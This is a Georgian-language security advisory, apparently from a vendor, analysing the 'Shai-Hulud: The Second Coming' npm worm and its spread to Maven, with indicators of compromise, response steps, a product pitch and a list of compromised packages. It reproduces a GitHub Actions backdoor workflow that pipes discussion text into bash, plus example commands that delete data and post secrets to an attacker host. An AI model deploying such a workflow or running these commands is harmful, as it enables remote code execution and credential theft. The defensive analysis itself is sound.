TL; DR
2025 წლის 24 ნოემბერს მკვლევარებმა აღმოაჩინეს შაი ჰულუდი: მეორედ მოსვლა, ახალი ტალღა NPM-ის მიწოდების ჯაჭვის შეტევა რომელიც ხელახლა აინფიცირებს npm პაკეტებს, იპარავს რწმუნებათა სიგელებს და ვრცელდება დეველოპერის კომპიუტერებზე და CI/CD pipelineს. პირველი ინციდენტისგან განსხვავებით, ეს ვერსია Bun-ის გაშვების ინტერფეისს მომენტალურად აინსტალირებს, ფარულ GitHub Actions-ის უკანა კარებს ათავსებს და მოიცავს დამანგრეველ გამწმენდს, რომელსაც შეუძლია Linux-ზე, macOS-სა და Windows-ზე მთელი სახლის დირექტორიების წაშლა. რამდენიმე საათში კომპრომეტირებული პაკეტების რაოდენობამ 830-ს გადააჭარბა, რაც ადასტურებს, რომ ეს არ არის მარტივი ვარიანტი, არამედ პრობლემის მნიშვნელოვანი ესკალაციაა. ორიგინალური ჭია.
ზემოქმედებისშესაძლოა, ნებისმიერი დეველოპერი ან CI მორბენალი, რომელიც საჯარო npm პაკეტებს აინსტალირებს, დაუცველი იყოს. Java-ს გუნდები ასევე რისკის ქვეშ არიან მას შემდეგ, რაც ინფიცირებული პაკეტები ავტომატურად აისახა Maven Central-ში.
დაუყოვნებელი მოქმედებები: ცნობილი მავნე ვერსიების დაბლოკვა, მხოლოდ ფაილების დაბლოკვის ინსტალაციების აღსრულება, npm, GitHub და ღრუბლოვანი ავტორიზაციის მონაცემების როტაცია, უცნობი თვითჰოსტირებული მორბენლების წაშლა და ისეთი IoC-ების მონიტორინგი, როგორიცაა setup_bun.js, bun_environment.js და საეჭვო GitHub რეპოზიტორები, რომლებიც შეიცავს „Sha1-Hulud: The Second Coming“-ს.
რა შეიცვალა: შაი ჰულუდი NPM-ის მიწოდების ჯაჭვის შეტევაში, როდესაც ის Maven-ზე გადახტა.
Shai Hulud-ის შეტევის მეორე ტალღამ მნიშვნელოვანი ესკალაცია გამოიწვია. პირველ კამპანიაში, ჭია npm ეკოსისტემაში დარჩა. ამჯერად, მავნე პროგრამა... მეივენ ცენტრალი, რაც გამოავლენს Java-ს გუნდებს, რომლებსაც არასდროს შეხებიათ npm-ს.
ქრონოლოგია და ტოკენის ფანჯარა
შეტევა დაიწყო ქ. ნოემბერი 24, 2025, სანამ npm-მა თავისი მემკვიდრეობითი ავტორიზაციის ტოკენები გააუქმა დეკემბერი 9.
ამ ძველი ტოკენების მოპარვა და ხელახლა გამოყენება უფრო ადვილი იყო. რადგან თავდამსხმელებს ამ ფანჯრის განმავლობაში კვლავ ჰქონდათ მათზე წვდომა, მათ შეძლეს ასობით მავნე ვერსიის მაღალი სიჩქარით ხელახლა გამოქვეყნება შეწყვეტამდე.
როგორ მიაღწია მავნე პროგრამამ Maven-ს
რეესტრის ჯვარედინი გადასვლა მოხდა შემდეგი მიზეზების გამო: mvnpm, ავტომატური სარკისებური ასლის შექმნის ინსტრუმენტი, რომელიც npm პაკეტებს Maven-ის არტეფაქტებად გარდაქმნის.
mvnpm არ ახორციელებს უსაფრთხოების შემოწმებას. ის უბრალოდ ხელახლა აფუთავს npm-ის მიერ გამოქვეყნებულ ინფორმაციას.
Როგორც შედეგი:
- კომპრომეტირებული npm პაკეტი (მაგალითად posthog-node@4.18.1)
- ავტომატურად გადაკეთდა Maven-ის არტეფაქტად
org.mvnpm:posthog-node:4.18.1 - და გამოქვეყნდა Maven Central-ში მანამ, სანამ ვინმე მიხვდებოდა, რომ ის ინფიცირებული იყო.
ეს იმას ნიშნავს, Java-ს დეველოპერები npm-ის დარღვევის მსხვერპლნი გახდნენ, მაშინაც კი, თუ მათ არასდროს დაუყენებიათ npm პაკეტი.
რატომ ეს თემა
ეს არის პირველი ცნობილი ჯვარედინი რეესტრის ჭია, სადაც მიწოდების ჯაჭვის შეტევა ერთი ეკოსისტემიდან მეორეზე მხოლოდ ავტომატიზაციის გზით ვრცელდება.
ამის გამო, აფეთქების რადიუსი ახლა მოიცავს Java-ს, JVM სამუშაო დატვირთვებს და enterprise შექმენით სისტემები, რომლებიც Maven Central-ზეა დამოკიდებული.
რა ხდის Shai Hulud 2.0-ს ასეთ სერიოზულს
Bun Runtime გამოიყენება აღმოჩენის თავიდან ასაცილებლად
თავდამსხმელები Node.js-დან Bun-ის გაშვების ინტერფეისზე გადავიდნენ. მავნე პროგრამა Bun-ს მომენტალურად აინსტალირებს. setup_bun.js პაკეტის ინსტალაციის დროს. ეს თავიდან აგაცილებთ კვანძის სპეციფიკურ მონიტორინგს და თავდამსხმელებს უფრო სწრაფ შესრულებას აძლევს ძალიან დიდი დაბნეული დატვირთვის შემთხვევაში.
GitHub-ის მოქმედებები, რომლებიც გამოიყენება როგორც ბრძანების უკანა კარი
ინსტალაციის შემდეგ, მავნე პროგრამა ქმნის დამალულ GitHub Actions-ის თვითჰოსტირებულ გამშვებ პროგრამას. $HOME/.dev-env/ეს მუშაობს Windows-ზე, macOS-სა და Linux-ზე. თავდამსხმელებს შეუძლიათ ბრძანებების შესრულება უბრალოდ GitHub Discussions-ში შეტყობინებების გამოქვეყნებით კომპრომეტირებულ საცავში. სამუშაო პროცესის ფაილი ამუშავებს ამ შეტყობინებებს და ასრულებს მათ shell ბრძანებების სახით.
ჩაშენებული საწმენდი
თუ მავნე პროგრამას არ შეუძლია GitHub-ის ან npm-ის საშუალებით ავთენტიფიკაცია, ის წაშლის მსხვერპლის საშინაო დირექტორიას.
- Windows-ზე ის იყენებს del, rdდა შიფრი /W ფაილების წასაშლელად.
- Linux-სა და macOS-ზე ის მონაცემებს ანაცვლებს... გახეხეთ და შემდეგ შლის დირექტორიებს.
ძალიან ხმაურიანი კამპანია
მიუხედავად იმისა, რომ მავნე პროგრამა გარკვეულწილად ფარულ ფუნქციებს იყენებს (მაგალითად, Bun-ის გამოყენებით), საერთო კამპანია სრულიად ჩუმი არ არის. ის აგრესიულად აქვეყნებს კომპრომეტირებულ პაკეტებს, ქმნის ასობით ან ათასობით ახალ საცავს, ატვირთავს ავტორიზაციის მონაცემების დემპებს მასიურად და აყენებს დიდი ხნის განმავლობაში დამონტაჟებულ თვითჰოსტირებულ შემსრულებლებს დეველოპერების კომპიუტერებზე. ეს ყველაფერი არ არის დაბალი პროფილის ქცევა. ამ შეტევის მასშტაბი, სიჩქარე და ოპერაციული „ხმაურიანობა“ გამოირჩევა მიწოდების ჯაჭვის უმეტეს კომპრომეტირებასთან შედარებით, რომლებიც, როგორც წესი, პრიორიტეტს ანიჭებენ შეუმჩნეველობას რაც შეიძლება დიდხანს..
ფართო გავლენა
თავდამსხმელებმა მილიონობით ყოველთვიური ჩამოტვირთვით მრავალი ცნობილი პაკეტი დააზიანეს, მათ შორის:
Zapier, ENS Domains, Postman, PostHog, AsyncAPI და Voiceflow.
შესაძლო ატრიბუციის სიგნალები
აქ ატრიბუციის დადგენა რთულია და კამპანიის უკან დადასტურებული წყარო არ არსებობს. ერთ-ერთი მსხვილი უსაფრთხოების კომპანია აღნიშნავს, რომ ოპერაცია Shai-Hulud-ის ადრინდელ ჭიას წააგავს, თუმცა განსხვავებები დატვირთვის აგებისა და მავნე პროგრამის გავრცელების წესში ოპერატორების სხვადასხვა ჯგუფის არსებობის შესაძლებლობაზე მიუთითებს. მათი შეფასება ხაზს უსვამს, რომ კომპრომეტირებული პაკეტები npm-ის წაშლამდე რამდენიმე გარემოში ჩამოიტვირთა, რაც რეალურ სამყაროში ზემოქმედებაზე მიუთითებს და არა ხანმოკლე ტესტზე.
იმის გათვალისწინებით, რომ ტაქტიკა პირველი ტალღის მსგავსია, თუმცა ძირითად საკითხებში განსხვავებულია, განსაკუთრებით დატვირთვის სტრუქტურაში, გავრცელების ლოგიკასა და ოპერაციულ „სტილში“, მიბაძვის სცენარი დასაშვებია. თავდამსხმელებმა შესაძლოა შაი-ჰულუდიდან ისესხეს იდეები, მაგრამ საკუთარი ინსტრუმენტები გამოიყენეს. ეს შეიძლება წარმოადგენდეს კიდევ ერთ ჯგუფს, რომელიც მთლიანად ცდილობს წინა კამპანიის იმიტაციას.
ამ ეტაპზე არ არსებობს მყარი მტკიცებულება, რომელიც მას რომელიმე ცნობილ მოთამაშეს, ფინანსურად მოტივირებულ ჯგუფს ან სახელმწიფოსთან დაკავშირებულ სუბიექტს დაუკავშირებდა. ორიგინალურ ჭიასთან გადაფარვა რეალურია, მაგრამ განსხვავებები საკმარისად მნიშვნელოვანია იმისთვის, რომ ატრიბუცია „დაუდასტურებელ“ კატეგორიაში შევიდეს.
გავრცელდით Maven-ში
ერთ-ერთმა მსხვილმა უსაფრთხოების კომპანიამ დაადასტურა, რომ მავნე npm პაკეტები ავტომატურად გამოქვეყნდა Maven-ში... mvnpm, ინსტრუმენტი, რომელიც npm პაკეტებს Maven-ის არტეფაქტებად გარდაქმნის ხელით განხილვის გარეშე.
შემდეგი პაკეტი გადაიგზავნა Maven Central-ში: org.mvnpm:posthog-node:4.18.1
რადგან mvnpm უბრალოდ ხელახლა შეფუთავს npm-ის მიერ გამოქვეყნებულ ნებისმიერ მასალას, ინფიცირებული ვერსიები აისახა Java-ს ეკოსისტემაში მანამ, სანამ ვინმე ამას გააცნობიერებდა.
Maven Central-მა დაზარალებული არტეფაქტები 2025 წლის 25 ნოემბერს ამოიღო და კონტროლის გამკაცრება დაიწყო მსგავსი ჯვარედინი რეესტრების პრობლემების თავიდან ასაცილებლად.
ეს ნიშნავს, რომ Java პროექტები, რომლებსაც npm-თან პირდაპირი კავშირი არ აქვთ, შესაძლოა მაინც გამოვლენილიყო.
როგორ მუშაობს Shai Hulud 2.0 შეტევა
ინფექციის ნაკადი
- მავნე წინასწარი ინსტალაცია სკრიპტი დაემატა პაკეტი.json.
- setup_bun.js თუ Bun არ არის, ის დაზარალებულის მანქანაზე აინსტალირებს.
- bun_environment.js (480 ათასზე მეტი სტრიქონი დაბნეული კოდი) ფონურ რეჟიმში მუშაობს.
- მავნე პროგრამა TruffleHog-ის მსგავსი ტექნიკის გამოყენებით სკანირებას უკეთებს ავტორიზაციის მონაცემებს. ის ეძებს
- AWS, GCP და Azure გასაღებები
- GitHub-ის ტოკენები
- npm ტოკენები
- CI სისტემის საიდუმლოებები
- AWS, GCP და Azure გასაღებები
- მოპარული მონაცემები იტვირთება საჯარო GitHub საცავებში, რომლებსაც აქვთ აღწერა „Sha1-Hulud: მეორედ მოსვლა“.
- შეგროვებული ტოკენების გამოყენებით, მავნე პროგრამა აქვეყნებს პაკეტების კომპრომეტირებულ ვერსიებს, აინფიცირებს ხელმისაწვდომ GitHub საცავებს და აყენებს მუდმივ, თვითჰოსტირებულ მორბენლებს დისტანციური კოდის შესასრულებლად.
მავნე GitHub-ის სამუშაო პროცესები
Shai-Hulud NPM Supply Chain Attack-ის მეორე ტალღის დროს, მავნე პროგრამამ შექმნა ორი დამალული GitHub Actions სამუშაო პროცესი კომპრომეტირებულ საცავებს შორის. ეს სამუშაო პროცესები თავდამსხმელებს კოდის დისტანციურად შესრულების, ხანგრძლივი შენახვისა და სისტემის საიდუმლოებებზე სრული წვდომის საშუალებას აძლევს.
1. Backdoor-ის სამუშაო პროცესი (discussion.yaml)
ყველაზე საშიში სამუშაო პროცესი უსმენს GitHub-ის დისკუსიები მოვლენები. როდესაც დისკუსიის შეტყობინება იქმნება ან რედაქტირებულია, სამუშაო პროცესი კითხულობს შეტყობინების ტექსტს და ასრულებს მას, როგორც shell ბრძანება მსხვერპლის აპარატზე.
ქვემოთ მოცემულია მავნე სამუშაო პროცესის გამარტივებული ვერსია, რომელიც აღდგენილია დაკვირვებული ნიმუშებიდან:
# .github/workflows/discussion.yaml
name: Discussion Backdoor
on:
discussion:
types: [created, edited]
jobs:
exec:
runs-on: self-hosted
steps:
- name: Execute attacker command
run: |
echo "${{ github.event.discussion.body }}" | bash
კრიტიკული ხაზია:
${{ github.event.discussion.body }}
ეს ნიშნავს, რომ თავდამსხმელს შეუძლია განათავსოს ნებისმიერი ბრძანება GitHub დისკუსიის შიგნით და თვითჰოსტირებული მორბენალი მას დაუყოვნებლივ შეასრულებს. რადგან თვითჰოსტირებულ მორბენლებს ხშირად აქვთ წვდომა შიდა ქსელებზე, ღრუბლოვან რწმუნებათა სიგელებსა და CI საიდუმლოებებზე, ეს უკანა კარი თავდამსხმელს აძლევს კოდის სრულ დისტანციურ შესრულებას Shai Hulud NPM Supply Chain Attack-ის დროს.
ბრძანების ინექციის ექსპლუატაცია
ეს სამუშაო პროცესი არღვევს GitHub Actions-ის მიერ გამოსახულებების დამუშავების მეთოდს. უსაფრთხო სტრიქონებით შეყვანის შეზღუდვის ნაცვლად, ის კითხულობს დისკუსიის ნედლ კონტენტს და პირდაპირ აგზავნის მას shell-ში. შედეგად, თავდამსხმელს მხოლოდ შემდეგი შეტყობინების გამოქვეყნება სჭირდება:
rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json
რადგან ეს ქცევა Shai Hulud NPM Supply Chain Attack-ის დროს არაერთხელ გამოვლინდა, ეს გახდა ერთ-ერთი ყველაზე ნათელი სიგნალი იმისა, რომ მავნე პროგრამა GitHub Actions-ს დისტანციური ბრძანების არხად იყენებდა.
თვითმომსახურებით დაკავებული მორბენლები ამ მდგომარეობას ამძიმებენ, რადგან ისინი:
- კომპანიის ქსელებში მუშაობა
- დაიჭირეთ ღრუბელი ან CI/CD რწმუნებათა სიგელების გადაცემის
- შესრულება მომხმარებლის ნებართვებით
- არ აქვთ GitHub-ის sandboxing ან იზოლაცია
ეს თავდამსხმელებს შიდა გარემოში შესვლის მუდმივ ბრძანების არხს აძლევს.
საიდუმლო და სისტემური შეგროვების სამუშაო პროცესი
უკანა კარის გარდა, მავნე პროგრამა კიდევ ერთ სამუშაო პროცესს უშვებს, რომლის მიზანია ინფიცირებული სისტემიდან მგრძნობიარე მონაცემების შეგროვება და შენახვა.
ეს სამუშაო პროცესები აერთიანებს:
- ღრუბლოვანი ავტორიზაციის მონაცემები
- გარემოს ცვლადები
- დირექტორიების სიები
- TruffleHog-ის სტილის საიდუმლო სკანირება
ისინი შეგროვებულ მონაცემებს ინახავენ ისეთ ფაილებში, როგორიცაა:
- cloud.json
- გარემო.json
- შინაარსი.json
- truffleSecrets.json
შემდეგ ეს ფაილები იტვირთება თავდამსხმელის მიერ კონტროლირებად GitHub საცავებში, რომლებსაც აქვთ შემდეგი ეტიკეტები: „შა1-ჰულუდი: მეორედ მოსვლა“, სადაც ასობით ან ათასობით ნაგავსაყრელი დაფიქსირდა.
კომპრომისის ინდიკატორები
| ფაილი | SHA256 |
|---|---|
| setup_bun.js | a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a |
| bun_environment.js | 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 |
სხვა წითელი დროშები
- .github/workflows/discussion.yaml
- $HOME/.dev-env/ მოულოდნელი მორბენლების შემცველი
- თქვენს ანგარიშზე შექმნილი საჯარო GitHub რეპოები, რომლებიც შეიცავს „Sha1-Hulud: მეორედ მოსვლას“
განახლებული მაჩვენებლები (2025 წლის 26 ნოემბრის მდგომარეობით)
| Metric | იმედი |
|---|---|
| npm პაკეტები კომპრომეტირებულია | 830 + |
| ინფიცირებული GitHub-ის საცავები | 28,000 + |
| ატვირთულია საიდუმლო ფაილები | 5,000 + |
| სულ შეგროვებული საიდუმლოებები | 11,858 |
| ვალიდური საიდუმლოებები | 2,298 |
რა უნდა გავაკეთოთ ახლა: შაი ჰულუდის NPM-ის მიწოდების ჯაჭვის თავდასხმაზე რეაგირება
Shai Hulud NPM მიწოდების ჯაჭვის შეტევა სწრაფ და სტრუქტურირებულ რეაგირებას მოითხოვს. რადგან ეს მეორე ტალღა ვრცელდება npm-ზე, GitHub-ზე, დეველოპერების მანქანებსა და Maven Central-ზეც კი, გუნდებმა სწრაფად უნდა იმოქმედონ ნებისმიერი ზემოქმედების აღმოსაჩენად, შესაკავებლად და სრულად გამოსასწორებლად. ქვემოთ მოცემული ნაბიჯები დაგეხმარებათ სწორი თანმიმდევრობით რეაგირებაში და შემდგომი კომპრომეტირების რისკის შემცირებაში.
გამოვლენა
- GitHub-ზე მოძებნეთ საცავები აღწერით „Sha1-Hulud: მეორედ მოსვლა“.
- პაკეტების ინსტალაციის დროს მოძებნეთ Bun-ის ინსტალაციის ჟურნალები.
- შეამოწმეთ package.json ფაილები მოულოდნელი სასიცოცხლო ციკლის სკრიპტებისთვის, განსაკუთრებით წინასწარი ინსტალაცია.
- შეამოწმე $HOME/.dev-env/ დეველოპერის ან CI სისტემებზე.
- გადახედეთ GitHub-ისა და npm-ის გამოქვეყნების ჟურნალებს საეჭვო გამოშვებების აღმოსაჩენად.
შეკვრა
- შეცვალეთ ყველა სერთიფიკატი: GitHub, npm, Cloud, CI საიდუმლოებები, API გასაღებები.
- უცნობი თვითჰოსტირებული მორბენლების გამორთვა და წაშლა.
- რეპოს შექმნის დროებით დაბლოკვა.
- წაშალეთ ინფიცირებული ვერსიები თქვენი დამოკიდებულების გრაფიკიდან.
გამოსწორება
- დაზარალებული სისტემების გაწმენდა.
- გადახედეთ ინექციური ფაილების ყველა GitHub Actions სამუშაო პროცესს.
- უჩვეულო ბრძანებების ან გაშვების ადგილების ძიება თქვენს CI ჟურნალებში.
ცნობილი კარგი პაკეტის ვერსიებიდან ხელახლა აწყობა.
როგორ ეხმარება Xygeni შაი-ჰულუდის მეორედ მოსვლის მსგავსი თავდასხმების შეჩერებას
ისეთი აგრესიული კამპანიის შემდეგ, როგორიცაა „შაი-ჰულუდის მეორედ მოსვლა“, გუნდებს ხელით შემოწმებაზე მეტი სჭირდებათ. მათ სჭირდებათ ავტომატიზირებული დაცვა, რომელიც ბლოკავს მავნე პროგრამებს მანამ, სანამ ისინი დეველოპერებს, CI-ის შემსრულებლებს ან წარმოების სისტემებს მიაღწევენ. სწორედ აქ იძლევა Xygeni მთავარ უპირატესობას.
მავნე პროგრამების ადრეული გაფრთხილება (MEW): საფრთხეების აღმოჩენა მათ გავრცელებამდე
Xygeni-ის ადრეული გაფრთხილების ძრავა რეალურ დროში სკანირებს ახალ და განახლებულ ღია კოდის პაკეტებს. ის აფიქსირებს საეჭვო ქცევას, როგორიცაა:
- დაბნეული JavaScript ან მასიური შეფუთული კოდი
- სასიცოცხლო ციკლის სკრიპტები, რომლებიც აინსტალირებენ გარე გაშვების დროს, როგორიცაა Bun
- მოულოდნელი კავშირები GitHub-თან, npm-თან ან ღრუბლოვან საბოლოო წერტილებთან
- ჩასაწერი წვეთები
$HOME,.dev-env/ან სამუშაო პროცესის საქაღალდეები
MEW-მ აღმოაჩინა შაი-ჰულუდის ორივე ტალღაში გამოყენებული ნიმუშები, რაც გუნდებს ეხმარება რეაგირებაში, სანამ თავდამსხმელები ინფექციას კიდევ უფრო გაავრცელებენ.
Guardrails in CI/CD მავნე პაკეტების დაბლოკვა
Xygeni აღასრულებს guardrails რომლებიც ავტომატურად აჩერებენ სახიფათო ოპერაციებს:
- CI pipelines-ს არ შეუძლია დააინსტალიროს პაკეტები დამალული წინასწარი ან პოსტინსტალაციის სკრიპტებით.
- აწყობა ვერ ხერხდება, როდესაც პაკეტი ცდილობს შექმნას სამუშაო პროცესები, როგორიცაა
.github/workflows/discussion.yaml - Pipelineუარყოფენ არასანდო წყაროებიდან ან პირველად ნანახი ანგარიშებიდან გამოქვეყნებულ დამოკიდებულებებს
ეს მკვეთრად ამცირებს შეტევის ზედაპირს და ხელს უშლის მავნე პროგრამების გაშვებას CI დავალებებში.
საიდუმლო დაცვა ამცირებს აფეთქების რადიუსს
რადგან Shai-Hulud იპარავს ღრუბლოვან გასაღებებს, GitHub ტოკენებს, npm ტოკენებს და CI საიდუმლოებებს, დაცვა ასევე უნდა იყოს ორიენტირებული ავტორიზაციის მონაცემებზე. Xygeni:
- აღმოაჩენს გამოვლენილ საიდუმლოებებს კოდში, ჟურნალებში, სამუშაო პროცესებსა და გარემოს ფაილებში
- მაღალი რისკის მქონე სერთიფიკატების ავტომატურად როტაცია
- ხანმოკლე სიცოცხლის ტოკენების აღსრულება გრძელვადიანი კომპრომისის შესამცირებლად
მაშინაც კი, თუ თავდამსხმელი პირველად წვდომას მოიპოვებს, მოპარული გასაღებები სწრაფად უსარგებლო ხდება.
დასკვნითი შენიშვნები: რატომ არის Shai Hulud NPM-ის მიწოდების ჯაჭვზე თავდასხმა კვლავ მნიშვნელოვანი
ის შაი-ჰულუდის მეორედ მოსვლა ინციდენტი აჩვენებს, თუ რამდენად ადვილად NPM-ის მიწოდების ჯაჭვის შეტევა შეუძლია ეკოსისტემებში გადაადგილება. ამ შემთხვევაში, მავნე პროგრამა npm-დან Maven-ზე გადავიდა, რადგან ავტომატური სარკისებური ინსტრუმენტები, როგორიცაა mvnpm კომპრომეტირებული პაკეტები გადამოწმების გარეშე ხელახლა გამოაქვეყნეს. შედეგად, Java-ს გუნდები გამოაშკარავდნენ მაშინაც კი, თუ ისინი npm-ს პირდაპირ არასდროს იყენებდნენ. ეს ცხადყოფს, რომ რეესტრებისშორისი სამუშაო პროცესები დაუყოვნებლივ განხილვას და უფრო ძლიერ დაცვის ზომებს საჭიროებს.
გარდა ამისა, ამ კამპანიის მასშტაბები და ქცევა ავლენს, თუ როგორ მოქმედებენ თავდამსხმელები დღეს. დუმილის ნაცვლად, ისინი ერთდროულად ასობით პაკეტს აქვეყნებენ, ათავსებენ დაფარულ GitHub-ის მორბენლებს, დიდი რაოდენობით იპარავენ საიდუმლოებებს და თუ რამე ვერ მოხერხდება, დამანგრეველ გამწმენდსაც კი იყენებენ. შესაბამისად, ხელით მიმოხილვები ვერ ახერხებს ავტომატიზაციისა და სიჩქარის ამ დონის აწევას. გუნდებს სჭირდებათ უწყვეტი, რეალურ დროში დაცვა პაკეტში, წყაროსა და... pipeline ფენებს.
რატომ უწყვეტი Pipeline Security ახლა აუცილებელია
თავდასხმები, როგორიცაა შაი-ჰულუდის მეორედ მოსვლა გააგრძელებს განვითარებას. ამიტომ, შემდეგი ტალღის თავიდან ასაცილებლად საჭიროა კონტროლი, რომელიც ავტომატურად მუშაობს შიგნით. CI/CDდა არა კომპრომეტირების შემდეგ. თანამედროვე დაცვამ უნდა გააერთიანოს მავნე პროგრამების ადრეული გამოვლენა, დამოკიდებულების მკაცრი ვალიდაცია, პოლიტიკის აღსრულება და საიდუმლო დაცვა, რათა მავნე კოდმა შეუმჩნევლად ვერ გადაადგილდეს განვითარების გარემოში.
Xygeni მხარს უჭერს ამ ცვლილებას ავტომატიზირებული მიწოდებით guardrails მთელი პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის მასშტაბით. ის ინსტალაციამდე ამოიცნობს საეჭვო პაკეტებს, აძლიერებს უსაფრთხო დამოკიდებულების ვერსიებს, ბლოკავს არაუსაფრთხო სამუშაო პროცესებს, აღმოაჩენს გამოვლენილ საიდუმლოებებს და აფრთხილებს უჩვეულო შემთხვევების შესახებ. pipeline აქტივობა. შედეგად, გუნდები დაცულები რჩებიან მაშინაც კი, როდესაც მიწოდების ჯაჭვის შეტევები სწრაფად ვრცელდება და ეკოსისტემის საზღვრებს კვეთს.
კომპრომეტირებული პაკეტების სია
დაზარალებული პაკეტების ნახვა ასევე შესაძლებელია გამოყენებით #შაი-ჰულუდ / #შაი-ჰულუდ-მეორედ-მოსვლა ტეგი შიგნით OpenSourceMalware.com
| პაკეტი | მობილური |
|---|---|
| 02-ექო | 0.0.7 |
| @accordproject/concerto-ანალიზი | 3.24.1 |
| @accordproject/concerto-linter | 3.24.1 |
| @accordproject/concerto-linter-default-ruleset | 3.24.1 |
| @accordproject/concerto-metamodel | 3.12.5 |
| @accordproject/concerto-types | 3.24.1 |
| @accordproject/markdown-it-cicero | 0.16.26 |
| @accordproject/template-engine | 2.7.2 |
| @actbase/css-to-react-native-transform | 1.0.3 |
| @actbase/native | 0.1.32 |
| @actbase/node-server | 1.1.19 |
| @actbase/react-absolute | 0.8.3 |
| @actbase/react-daum-postcode | 1.0.5 |
| @actbase/react-kakaosdk | 0.9.27 |
| @actbase/react-native-actionsheet | 1.0.3 |
| @actbase/react-native-devtools | 0.1.3 |
| @actbase/react-native-fast-image | 8.5.13 |
| @actbase/react-native-kakao-channel | 1.0.2 |
| @actbase/react-native-kakao-navi | 2.0.4 |
| @actbase/react-native-less-transformer | 1.0.6 |
| @actbase/react-native-naver-login | 1.0.1 |
| @actbase/react-native-simple-video | 1.0.13 |
| @actbase/react-native-tiktok | 1.1.3 |
| @alexcolls/nuxt-socket.io | 0.0.7 , 0.0.8 |
| @alexcolls/nuxt-ux | 0.6.2 , 0.6.1 |
| @antstackio/eslint-config-antstack | 0.0.3 |
| @antstackio/express-graphql-proxy | 0.2.8 |
| @antstackio/graphql-body-parser | 0.1.1 |
| @antstackio/json-to-graphql | 1.0.3 |
| @antstackio/shelbysam | 1.1.7 |
| @aryanhussain/my-angular-lib | 0.0.23 |
| @asyncapi/dotnet-rabbitmq-template | 1.0.2 , 1.0.1 |
| @asyncapi/edavisualiser | 1.2.2 , 1.2.1 |
| @asyncapi/go-watermill-template | 0.2.76 , 0.2.77 |
| @asyncapi/java-template | 0.3.6 , 0.3.5 |
| @asyncapi/keeper | 0.0.3 , 0.0.2 |
| @asyncapi/php-template | 0.1.2 , 0.1.1 |
| @asyncapi/python-paho-template | 0.2.15 , 0.2.14 |
| @asyncapi/server-api | 0.16.25 , 0.16.24 |
| @asyncapi/სტუდია | 1.0.3 , 1.0.2 |
| @asyncapi/web-component | 2.6.7 , 2.6.6 |
| @browserbasehq/bb9 | 1.2.21 |
| @browserbasehq/director-ai | 1.0.3 |
| @browserbasehq/mcp | 2.1.1 |
| @browserbasehq/mcp-server-browserbase | 2.4.2 |
| @browserbasehq/sdk-functions | 0.0.4 |
| @browserbasehq/stagehand | 3.0.4 |
| @browserbasehq/stagehand-docs | 1.0.1 |
| @caretive/caret-cli | 0.0.2 |
| @clausehq/flows-step-httprequest | 0.1.14 |
| @clausehq/flows-step-jsontoxml | 0.1.14 |
| @clausehq/flows-step-mqtt | 0.1.14 |
| @clausehq/flows-step-sendgridemail | 0.1.14 |
| @clausehq/flows-step-taskscreateurl | 0.1.14 |
| @commute/bloom | 1.0.3 |
| @commute/market-data | 1.0.2 |
| @commute/market-data-chartjs | 2.3.1 |
| @dev-blinq/ai-qa-logic | 1.0.19 |
| @dev-blinq/cucumber-js | 1.0.131 |
| @dev-blinq/cucumber_client | 1.0.738 |
| @dev-blinq/ui-systems | 1.0.93 |
| @ensdomains/მისამართის-ენკოდერი | 1.1.5 |
| @ensdomains/შავი სია | 1.0.1 |
| @ensdomains/buffer | 0.1.2 |
| @ensdomains/ccip-read-cf-worker | 0.0.4 |
| @ensdomains/ccip-read-dns-gateway | 0.1.1 |
| @ensdomains/ccip-read-router | 0.0.7 |
| @ensdomains/ccip-read-worker-viem | 0.0.4 |
| @ensdomains/content-hash | 3.0.1 |
| @ensdomains/curvearithmetics | 1.0.1 |
| @ensdomains/cypress-metamask | 1.2.1 |
| @ensdomains/dnsprovejs | 0.5.3 |
| @ensdomains/dnssec-oracle-anchors | 0.0.2 |
| @ensdomains/dnssecoraclejs | 0.2.9 |
| @ensdomains/durin | 0.1.2 |
| @ensdomains/durin-middleware | 0.0.2 |
| @ensdomains/ens-არქივირებული-კონტრაქტები | 0.0.3 |
| @ensdomains/ens-ავატარი | 1.0.4 |
| @ensdomains/ens-კონტრაქტები | 1.6.1 |
| @ensdomains/ens-test-env | 1.0.2 |
| @ensdomains/ens-validation | 0.1.1 |
| @ensdomains/ensjs | 4.0.3 |
| @ensdomains/ensjs-react | 0.0.5 |
| @ensdomains/eth-ens-namehash | 2.0.16 |
| @ensdomains/hackathon-registrar | 1.0.5 |
| @ensdomains/hardhat-chai-matchers-viem | 0.1.15 |
| @ensdomains/hardhat-toolbox-viem-extended | 0.0.6 |
| @ensdomains/mock | 2.1.52 |
| @ensdomains/სახელის-შეფუთვა | 1.0.1 |
| @ensdomains/offchain-resolver-contracts | 0.2.2 |
| @ensdomains/op-resolver-contracts | 0.0.2 |
| @ensdomains/react-ens-მისამართი | 0.0.32 |
| @ensdomains/განახლება | 0.0.13 |
| @ensdomains/განახლების-ვიჯეტი | 0.1.10 |
| @ensdomains/reverse-records | 1.0.1 |
| @ensdomains/server-analytics | 0.0.2 |
| @ensdomains/solsha1 | 0.0.4 |
| @ensdomains/ქვედომენის-რეგისტრატორი | 0.2.4 |
| @ensdomains/test-utils | 1.3.1 |
| @ensdomains/thorin | 0.6.51 |
| @ensdomains/ui | 3.4.6 |
| @ensdomains/unicode-confusables | 0.1.1 |
| @ensdomains/unruggable-gateways | 0.0.3 |
| @ensdomains/vite-plugin-i18next-loader | 4.0.4 |
| @ensdomains/web3modal | 1.10.2 |
| @everreal/react-charts | 2.0.1 , 2.0.2 |
| @everreal/validate-esmoduleinterop-imports | 1.4.4 , 1.4.5 |
| @everreal/web-analytics | 0.0.1 , 0.0.2 |
| @faq-კომპონენტი/ძირითადი | 0.0.4 |
| @faq-component/react | 1.0.1 |
| @fishingbooker/browser-sync-plugin | 1.0.5 |
| @fishingbooker/react-loader | 1.0.7 |
| @fishingbooker/react-გვერდების დაწერა | 2.0.6 |
| @fishingbooker/react-raty | 2.0.1 |
| @fishingbooker/react-swiper | 0.1.5 |
| @hapheus/n8n-nodes-pgp | 1.5.1 |
| @hover-design/core | 0.0.1 |
| @hover-design/react | 0.2.1 |
| @ifelsedeveloper/protocol-contracts-svm-idl | 0.1.2 |
| @ifings/design-system | 4.9.2 |
| @ifings/metatron3 | 0.1.5 |
| @kvytech/cli | 0.0.7 |
| @kvytech/components | 0.0.2 |
| @kvytech/habbit-e2e-test | 0.0.2 |
